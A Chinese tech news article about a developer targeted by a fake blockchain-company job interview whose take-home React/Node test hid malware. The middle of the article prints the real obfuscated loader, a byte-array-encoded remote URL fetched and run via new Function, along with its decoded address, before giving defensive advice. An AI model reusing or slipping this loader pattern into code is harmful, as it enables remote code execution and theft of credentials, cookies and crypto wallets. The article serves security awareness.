" 再晚 30 秒,我的加密钱包、项目源码和所有个人数据就全没了。"
回顾那场精心设计的 " 面试骗局 ",拥有 8 年自由开发经验的 David Dodda 至今仍心有余悸。
近日,David Dodda 在技术社区公开了自己遭遇的新型开发者定向攻击:骗子伪装成一家区块链公司高管,邀请他进行远程面试,并以 " 编程测试 " 为饵植入恶意代码——若不是他在最后一刻突然警觉,后果将不堪设想。
从 " 正规邀约 " 到 " 代码测试 ":骗局的完美铺垫
故事始于 LinkedIn 上一条看似普通的工作消息。
上周,David Dodda 的 LinkedIn 账号收到了一条来自 "Symfa 公司首席区块链官 Mykola Yanchii" 的私信。对方介绍称,他们公司正在开发一款名为 BestCity 的房地产工作流程转型平台,目前正在招募兼职开发者,工作时间灵活,并与 David Dodda 的技术栈很匹配。
出于职业习惯,David 首先核查了 Mykola Yanchii 的身份,LinkedIn 上的对方履历非常 " 官方 ":不仅有完整的职业履历,还标注了 Symfa 首席区块链官的头衔,账号拥有 1000+ 真实好友连接,连日常发的动态都带有那种 " 创业者式励志语录 " 的味道……
总之就是:非常标准的、你在社交平台上看了十遍都不会起疑心的风格。
紧接着,David Dodda 又点开了 Symfa 公司的 LinkedIn 主页,同样无懈可击:不仅有专业的品牌视觉设计,还展示了多名员工信息、公司业务介绍,甚至发布过多条 " 用区块链改造房地产行业 " 的项目动态——看起来,完全是一家正常运营的科技企业。
对 David Dodda 这样的自由开发者来说,这类邀约并不少见——发件人礼貌、表达专业,没有提出不合理要求,仅约定通过线上面试进一步沟通,这一切都强化了 " 可信度 "。
" 我做自由职业 8 年了,做过 Web 应用、各种项目、代码审查也不少。我自认为安全意识很强——至少我是这么认为的。而这次看上去也很靠谱,所以我同意了电话面试。"
随即,Mykola Yanchi 以 " 提前评估技术能力、节省沟通时间 " 为由,发来了一个 Bitbucket 代码库链接,要求 David Dodda 在 30 分钟内完成 React/Node 项目的简单优化——这是技术面试中最常规的 "Take-Home 测试 ",几乎所有开发者都经历过。
David Dodda 点开代码库后发现:代码结构清晰,不仅有详细的 README 文档,还附带了符合企业风格的宣传图,甚至标注了需要优化的功能点,看起来就是一份很标准的面试测试题。
30 分钟的 " 时间陷阱 ":差点跳过的安全红线
然而,一个关键细节为后续的 " 危险操作 " 埋下伏笔——当时,距离约定的电话面试时间仅剩 30 分钟,这对 David Dodda 而言时间有些紧张。
" 正常情况下,我会先把代码放到 Docker 容器里隔离运行,确认没有问题再开始优化。" 他坦言,多年的开发经验让他养成了 " 沙箱运行未知代码 " 的习惯,但这次的紧迫感打乱了节奏。
为了赶在面试前完成测试,David Dodda 直接在本地环境打开了代码库,快速排查出几处明显的语法 Bug,补充了缺失的 docker-compose 文件,还优化了部分冗余代码,整个过程与常规测试无异。
正当他准备输入 "npm start" 运行项目、向面试官展示成果时,多年的安全直觉突然 " 警报响起 " —— " 哪怕再急,运行未知代码前至少要扫一遍关键文件 "。
抱着 " 多花 1 分钟检查 " 的想法,David Dodda 将代码片段复制到了 Cursor AI 助手中,并发送了一条简单的查询指令:
" 在我运行这个程序之前,你能看看这个代码库中是否有任何可疑代码吗?比如读取不该读取的文件、访问加密钱包等 "。
没想到,AI 给出的反馈让他瞬间冷汗直流——在 server/controllers/userController.js 文件中,隐藏着一段高度混淆的恶意代码:
//Get Cookie ( async ( ) => { const byteArray = [ 104, 116, 116, 112, 115, 58, 47, 47, 97, 112, 105, 46, 110, 112, 111, 105, 110, 116, 46, 105, 111, 47, 50, 99, 52, 53, 56, 54, 49, 50, 51, 57, 99, 51, 98, 50, 48, 51, 49, 102, 98, 57 ] ; const uint8Array = new Uint8Array ( byteArray ) ; const decoder = new TextDecoder ( 'utf-8' ) ; axios.get ( decoder.decode ( uint8Array ) ) .then ( response => { new Function ( "require", response.data.model ) ( require ) ; } ) .catch ( error => { } ) ; } ) ( ) ;
这段代码采用字节数组隐藏了一个远程 URL,通过 axios.get 获取恶意负载,并使用 JavaScript 的 Function 构造函数执行——最重要的是,这段代码巧妙地嵌在管理功能之间,一旦访问到相应的 admin 路由,它就能以完整的服务器权限随时执行。
David Dodda 立即解码了那个字节数组:https://api.npoint.io/2c458612399c3b2031fb9。不出所料,这个 URL 指向的就是一个恶意 payload:一旦运行,将自动读取本地文件系统、抓取浏览器 Cookie、访问加密钱包客户端,甚至获取环境变量中的数据库密码与生产环境密钥——相当于向攻击者敞开了 " 数字家门 "。
更可怕的是,当 David Dodda 在 24 小时后再次尝试访问该 URL 时,链接已完全失效——也就是说,骗子为了避免攻击痕迹被追踪,早已设置了 " 自动销毁 " 机制。
这一切都显得那么专业,显然不是随便哪个钓鱼邮件能做到的。
" 哪怕我平时再谨慎,这次也差点中招 "
事后 David Dodda 复盘了整个事件,发现这场骗局的 " 专业性 " 远超普通网络攻击,从心理诱导到技术伪装都经过了精心设计,专门针对开发者的工作习惯弱点。
例如,在心理层面,核心在于利用了开发者的日常习惯和心理预期:
● 熟悉的面试流程:Take-Home 测试、项目结构、README ——这一切都是常态化流程,容易让人放松警惕。
● 权威感:LinkedIn 上完整的高管档案和公司主页,降低了怀疑门槛。
● 时间压力:" 请在面试前完成测试,以节省会议时间 ",催促让开发者跳过安全检查。
● 社会证明:公司页、员工列表、动态、粉丝网络,一切看起来都真实可信。
这些因素叠加,让一直自诩 " 安全意识很强 " 的 David Dodda 差点直接在主机执行了恶意代码。
而在技术层面,骗子的伪装也几乎 " 无懈可击 ":恶意代码没有单独存放,而是嵌入在正常的业务逻辑中,不仔细排查根本无法发现;采用字节数组混淆而非明文 URL,躲避基础的代码关键词检测;设置 24 小时自动失效的 URL,大幅降低被溯源的风险。
" 哪怕我平时再谨慎,这次也差点中招。"
David Dodda 感慨道,骗子完全摸清了开发者的工作场景:每天要处理大量 GitHub 仓库、npm 包、测试代码,很难对每一份文件都进行全面的安全扫描,而 " 面试测试 " 的场景又进一步降低了心理防线——毕竟," 谁会怀疑一份来自正规公司的面试题里藏着恶意代码?"
好在,David Dodda 在按下回车前多想了一秒,把代码丢给 AI 检查了一下。这短短的一秒,阻止了一个可能导致生产环境凭证泄露、个人钱包被清空的灾难。而他在经历了这次骗局后,总结了几点对开发者的建议:
(1)要在隔离环境运行未知代码:Docker、VM 都行,绝不在主机直接运行。
(2)在运行前静态 / 动态分析:用 AI、静态分析工具或手动检查入口点、require/exec、new Function、远程请求等模式。
(3)验证招聘方真实性:真实的 LinkedIn 资料与公司页面并不等于可信,要去验证招聘方背景(官网、域名、公司邮箱)而不是只看社交资料。
(4)对强制 / 催促保持怀疑:如果有人催促你执行代码,那就是一个危险信号,更不要因此跳过安全流程。
最重要的是,养成怀疑的习惯:哪怕是最熟悉的工具和流程,也要有一点警觉。正如 David Dodda 所说," 下次当你收到一份‘看似完美’的面试测试题时,想想发生在我身上的这件事——多花 30 秒让 AI 检查一下,你的钱包和密钥会感谢你的。"
登录后才可以发布评论哦
打开小程序可以发布评论哦